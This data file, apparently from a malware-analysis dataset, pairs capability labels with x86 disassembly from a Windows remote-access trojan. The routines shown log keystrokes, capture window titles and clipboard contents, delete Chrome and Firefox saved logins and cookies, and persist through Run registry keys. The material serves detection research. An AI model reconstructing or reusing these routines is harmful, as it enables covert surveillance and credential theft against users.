joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a3e0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
sub esp, 0x148
push ebx
push ebp
push esi
push edi
push 0x100
lea eax, [esp + 0x5c]
push ecx
pop esi
push 0
push eax
mov dword [esp + 0x1c], esi
call fcn.00436e90
add esp, 0xc
lea edi, [esp + 0x1a]
xor eax, eax
mov word [esp + 0x18], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
push eax
pop ebp
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
lea ebx, [esi + 0x54]
mov esi, dword [sym.imp.USER32.dll_ToUnicodeEx]
push dword [ebx]
call esi
cmp eax, 0xffffffff
je 0x40a4d6
cmp dword [0x476b18], 0
je 0x40a4d0
xor eax, eax
lea edi, [esp + 0x3a]
push 7
mov word [esp + 0x3c], ax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0043f809
push 0x100
xor ebx, ebx
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.00436e90
add esp, 0x14
lea eax, [esp + 0x18]
push ebp
push ebx
push 0x10
push eax
lea eax, [esp + 0x68]
push eax
push dword [0x476b1c]
push dword [0x476b18]
call esi
mov dword [0x476b18], ebx
lea eax, [esp + 0x38]
push eax
jmp 0x40a509
lea eax, [esp + 0x18]
jmp 0x40a4cd
push 5
pop ecx
push ebx
pop esi
mov edi, 0x476b18
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
push dword [ebx]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x40a4e6
push 0x466468
mov ecx, dword [esp + 0x160]
call fcn.0040417e
mov eax, dword [esp + 0x15c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret 4

Function at 0x40a675
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4751a0]
or eax, dword [0x4751a4]
push ebx
push esi
push edi
push ecx
pop esi
je 0x40a722
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x475158
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push eax
pop edi
cmp edi, 0xffffffff
je 0x40a6f6
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp ebx, dword [0x4751a4]
jb 0x40a6ed
ja 0x40a6d2
cmp eax, dword [0x4751a0]
jb 0x40a6ed
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x40a6e2
push esi
pop ecx
call fcn.0040b0dc
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40a6f9
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x40a690
cmp byte [esi + 0x49], bl
jne 0x40a722
cmp dword [0x47513c], 1
jne 0x40a722
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.0040905c
push esi
pop ecx
call fcn.0040a179
pop edi
pop esi
pop ebx
ret
Function at 0x40a726
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
push ecx
pop ebx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
pop ecx
call fcn.0040a675
mov edx, 0x466468
push ebp
pop ecx
call fcn.004077b7
test al, al
je 0x40a92d
mov ecx, 0x475170
call fcn.00406b28
test al, al
jne 0x40a782
push 0
mov ecx, 0x475170
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
lea edi, [ebx + 0x68]
push edi
pop ecx
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
test al, 2
je 0x40a7aa
push 0x80
push edi
pop ecx
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0x12
mov ecx, 0x4750e4
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 0
jne 0x40a7ee
push 1
push edi
pop ecx
call fcn.00401f04
push eax
push ebp
pop ecx
call fcn.0040247c
push eax
pop esi
push ebp
pop ecx
add esi, esi
call fcn.00401f04
push esi
pop edx
push eax
pop ecx
call fcn.0041c3f1
pop ecx
pop ecx
jmp 0x40a8f9
lea ecx, [esp + 0x10]
call fcn.004020df
mov ecx, 0x475338
call fcn.0040247c
push eax
mov ecx, 0x475338
call fcn.00401fab
push eax
lea ecx, [esp + 0x78]
call fcn.00406cb7
push edi
pop ecx
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a885
lea ecx, [esp + 0x28]
call fcn.004020df
push edi
pop ecx
call fcn.00401f04
lea edx, [esp + 0x28]
push eax
pop ecx
call fcn.0041c485
test al, al
je 0x40a87c
lea ecx, [esp + 0x28]
call fcn.0040247c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401fab
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x28]
call fcn.00401fd8
push ebp
pop ecx
call fcn.0040247c
add eax, eax
push ebp
pop ecx
push eax
call fcn.00401f04
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00403376
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.0040247c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fab
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
push edi
pop ecx
call fcn.00401f04
push eax
pop edx
lea ecx, [esp + 0x58]
call fcn.0041c4f2
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401fd8
push 0x466468
push ebp
pop ecx
call fcn.00409057
push 0x13
mov ecx, 0x4750e4
call fcn.00401e65
push eax
pop ecx
call fcn.00401fab
cmp byte [eax], 0
je 0x40a92d
push 6
push edi
pop ecx
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x40a73b
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40acd6
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
push ecx
pop edi
cmp byte [edi + 0x49], 0
jne 0x40acf4
cmp byte [edi + 0x4a], 0
je 0x40aee5
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x476cf0]
cmp eax, dword [ecx + 4]
jle 0x40ad3e
push 0x476cf0
call fcn.004343e6
cmp dword [0x476cf0], 0xffffffff
pop ecx
jne 0x40ad3e
mov ecx, 0x476cf4
call fcn.00401f86
push 0x457fe0
call fcn.00434770
mov dword [esp], 0x476cf0
call fcn.004343a7
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
pop ebx
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push eax
pop esi
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040b904
test esi, esi
je 0x40ae13
lea ecx, [esp + 0x20]
call fcn.0040247c
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x476cf4
lea ecx, [esp + 0x20]
call fcn.0040b9cc
test al, al
jne 0x40ae13
lea eax, [esp + 0x20]
mov ecx, 0x476cf4
push eax
call fcn.0040b8ec
lea ecx, [esp + 0x20]
call fcn.0040247c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00409044
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x47513b], 0
je 0x40ade2
mov ecx, esp
push eax
call fcn.0040905c
push edi
pop ecx
call fcn.0040b164
jmp 0x40ae13
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4666ec
push eax
mov edx, 0x4666f4
call fcn.0040b97c
pop ecx
push eax
pop edx
push esi
pop ecx
call fcn.00403014
pop ecx
push edi
pop ecx
call fcn.0040a636
lea ecx, [esp + 0x38]
call fcn.00401f09
push edi
pop ecx
call fcn.0040b748
call fcn.0041bae6
mov esi, 0xea60
cmp eax, esi
jb 0x40aece
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40ae40
cmp byte [edi + 0x4a], 0
je 0x40aedc
call fcn.0041bae6
cmp eax, esi
jb 0x40ae5c
push eax
pop ebx
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40ae30
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
push ebx
pop eax
div esi
push eax
call fcn.00441e81
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402093
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052fd
pop ecx
push eax
pop edx
lea ecx, [esp + 0x3c]
call fcn.00406383
sub esp, 0x14
push eax
pop edx
mov ecx, esp
call fcn.0041bc5e
push edi
pop ecx
call fcn.0040a636
lea ecx, [esp + 0x38]
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
jmp 0x40ace4
lea ecx, [esp + 0x20]
call fcn.00401f09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40aeee
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push ecx
pop esi
push edi
cmp byte [esi + 0x4a], 0
jne 0x40af88
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402093
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041bc5e
push esi
pop ecx
call fcn.0040b164
lea ecx, [ebp - 0x18]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40af7c
cmp dword [esi], ebx
jne 0x40af70
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a295
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b70e
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40b732
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
push eax
pop esi
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40b732
push esi
jmp 0x40b737
push 0x466468
mov ecx, dword [esp + 0xc]
call fcn.0040417e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40b8ac
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
push ecx
pop esi
xor ebx, ebx
push ebx
push 0x40a27d
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
cmp dword [esi], ebx
je 0x40b8db
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40a267
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push esi
pop ecx
pop esi
pop ebx
jmp fcn.0040b869

Function at 0x40ba12
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x4669b4
call fcn.0043c0da
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
push eax
pop edx
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40ba79
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40ba6d
sub eax, 1
je 0x40ba6d
xor bl, bl
jmp 0x40ba92
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40ba83
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402093
call fcn.0040c1d8
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40baa1
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x4669b4
call fcn.0043c0da
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
push eax
pop edx
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40bb08
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40bafc
sub eax, 1
je 0x40bafc
xor bl, bl
jmp 0x40bb21
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40bb12
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402093
call fcn.0040c1d8
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bb30
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020df
lea ecx, [ebp - 0x48]
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c0da
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x30]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea eax, [ebp - 0x1d0]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
push eax
pop ecx
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x78]
push eax
pop esi
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bce4
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
jmp 0x40bd18
test byte [ebp - 0x1d0], 0x10
je 0x40bce4
lea eax, [ebp - 0x1a4]
push 0x466ad4
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40bce4
lea eax, [ebp - 0x1a4]
push 0x466ad8
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40bce4
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406c1e
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x30]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406c1e
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x90]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fe2
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40bccb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40bce4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40bbeb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bd37
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c0da
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406c1e
pop ecx
push eax
pop ecx
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x60]
push eax
pop esi
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40be81
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
jmp 0x40beb5
test byte [ebp - 0x1b8], 0x10
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad4
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad8
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466b3c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40beda
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
jne 0x40becf
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40bdeb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x40beb7
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40bdd9
Function at 0x40bee9
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004135a6
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
mov edx, 0x4660a4
lea ecx, [ebp - 0x18]
call fcn.00405b05
test al, al
je 0x40bf56
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
mov bl, 1
jmp 0x40bff9
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bf3b
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041bc5e
push eax
pop ecx
call fcn.00401f04
push eax
pop ecx
call fcn.0041c291
lea ecx, [ebp - 0x48]
push eax
pop esi
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401fd8
test esi, esi
je 0x40bfcf
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40bf45
push ebx
push 0x466bf0
mov ecx, 0x475a00
call fcn.00406ae1
test eax, eax
je 0x40bffc
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c162
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x472b19], cl
push edi
mov dword [0x472b28], eax
test cl, cl
je 0x40c1bf
mov edi, 0x466c48
mov dword [ebp - 4], esi
mov ebx, 0x4752f0
push edi
push ebx
pop ecx
call fcn.00401fab
push eax
pop edx
call fcn.004134ff
pop ecx
test al, al
je 0x40c1bf
lea eax, [ebp - 4]
push ebx
pop ecx
push eax
push edi
call fcn.00401fab
push eax
pop edx
call fcn.00413549
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40c1bf
xor al, al
jmp 0x40c1d1
push esi
push esi
push esi
push 0x40c00c
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c34d
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
push ecx
pop esi
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00409052
lea eax, [ebp - 0x2e0]
push eax
push 0x4665e8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040915b
pop ecx
push eax
pop ecx
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
lea ecx, [ebp - 0x60]
push eax
pop edi
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c3c1
push 0x466468
push esi
pop ecx
call fcn.0040417e
jmp 0x40c497
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c466
test byte [ebp - 0x2e0], 0x10
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x466528
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x46660c
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040915b
pop ecx
push eax
pop edx
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c4a7
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x40c3ce
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 0x466468
push esi
pop ecx
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
push esi
pop eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea eax, [ebp - 0x30]
push esi
pop ecx
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c48f
Function at 0x40cd0d
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x472b33], 1
push ebx
mov bh, byte [0x472b31]
mov bl, byte [0x472b30]
push ebp
push esi
push edi
mov edi, 0x465e74
mov ebp, 0x4752d8
jne 0x40cd6f
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
push edi
pop edx
push edi
push ebp
call fcn.0040b97c
pop ecx
push eax
pop edx
push esi
pop ecx
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00413814
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bl, 1
jne 0x40cdb0
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
push edi
pop edx
push edi
push ebp
call fcn.0040b97c
pop ecx
push eax
pop edx
push esi
pop ecx
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.00413814
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bh, 1
jne 0x40cdf1
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
push edi
pop edx
push edi
push ebp
call fcn.0040b97c
pop ecx
push eax
pop edx
push esi
pop ecx
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.00413814
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x40d069
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x472d44], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
push ecx
pop eax
ret